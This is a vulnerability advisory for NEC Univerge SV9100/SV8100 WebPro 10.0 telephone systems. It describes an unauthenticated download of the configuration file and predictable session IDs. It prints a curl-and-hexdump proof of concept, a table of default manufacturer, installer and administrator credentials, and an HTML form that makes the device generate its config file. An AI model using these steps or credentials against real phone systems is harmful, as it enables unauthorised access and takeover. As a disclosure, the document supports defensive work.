NEC Univerge SV9100/SV8100 WebPro version 10.0 suffers from a remote configuration download vulnerability. The gzipped telephone system configuration file 'config.gz' or 'config.pcpx' that contains the unencrypted data file 'conf.pcpn', can be downloaded by an attacker from the root directory if previously generated by a privileged user.
6ec13406baf539fb83adb212bb192015cc4af93e431d8bb3179d2f34e0475af2
NEC Univerge SV9100/SV8100 WebPro 10.0 Remote Configuration Download
Vendor: NEC Corporation
Product web page: https://www.nec.com
Affected version: WebPro <=10.00
DSP Firmware Version: 12.11.00.02
Summary: NEC's UNIVERGEA(r) SV9100 is the unified communications (UC)
solution of choice for small and medium businesses (SMBs) who don't
want to be left behind. Designed to fit your unique needs, the UNIVERGE
SV9100 platform is a powerful communications solution that provides
SMBs with the efficient, easy-to-deploy, mobile technology that they
require.
Desc: The gzipped telephone system configuration file 'config.gz' or
'config.pcpx' that contains the unencrypted data file 'conf.pcpn',
can be downloaded by an attacker from the root directory if previously
generated by a privileged user. Attacker can also sniff the network
and hijack the session id which resides in a GET request to further
generate the config file. The sessionid can also be brute-forced
because of its predictability containing 5-digit number. This will
enable the attacker to disclose sensitive information and help her
in authentication bypass, privilege escalation, system access and
denial of service via config modification.
Tested on: Henry/1.1
NEC-i SV8100-NA 08.00/2.1
NEC SV9100-GE 07.00.52/2.1
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2018-5448
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5448.php
11.12.2017
--
Disclosing default credentials with weak password policy:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# curl -O "https://192.168.1.1:8001/config.gz" ; gzip -d config.gz ; hexdump -C -s 0x041f220 -n 352 config
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 66253 100 66253 0 0 17171 0 0:00:03 0:00:03 --:--:-- 17168
0041f220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
0041f300 00 00 00 6e 65 63 69 69 20 20 20 20 20 35 38 34 |...necii 584|
0041f310 34 37 20 20 20 01 00 74 65 63 68 20 20 20 20 20 |47 ..tech |
0041f320 20 31 32 33 34 35 36 37 38 02 00 41 44 4d 49 4e | 12345678..ADMIN|
0041f330 31 20 20 20 20 30 30 30 30 20 20 20 20 03 00 41 |1 0000 ..A|
0041f340 44 4d 49 4e 32 20 20 20 20 39 39 39 39 20 20 20 |DMIN2 9999 |
0041f350 20 04 00 55 53 45 52 31 20 20 20 20 20 31 31 31 | ..USER1 111|
0041f360 31 20 20 20 20 05 00 61 74 65 6c 20 20 20 20 20 |1 ..atel |
0041f370 20 35 38 34 34 37 20 20 20 02 00 20 20 20 20 20 | 58447 .. |
0041f380
Level:User:Password:Role:
- - - - - - - - - - - - -
1:atel:58447:MAN (Manufacturer)
1:necii:47544:MAN (Manufacturer)
1:necii:58447:MAN (Manufacturer)
2:sltech:12345678:IN (Installer)
2:tech:12345678:IN (Installer)
3:ADMIN1:0000:SA (System Administrator A)
3:admin1:0000:SA (System Administrator A)
4:ADMIN2:9999:SB (System Administrator B)
4:admin2:9999:SB (System Administrator B)
4:USER1:1111:UA (User Administrator)
5:USER1:1111441:UA (User Administrator)
5:user1:1111:UA (User Administrator)
SAVE_CONFIG() request (Save to PC) with brute-forceable session
that will generate the config.gz / config.pcpx config file:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
<html>
<body>
<form action="https://192.168.1.1:8001/SaveConfig.htm?sessionId=31337&SAVE_CONFIG()" method="POST" enctype="multipart/form-data">
<input type="hidden" name="hasDataChanged" value="0" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>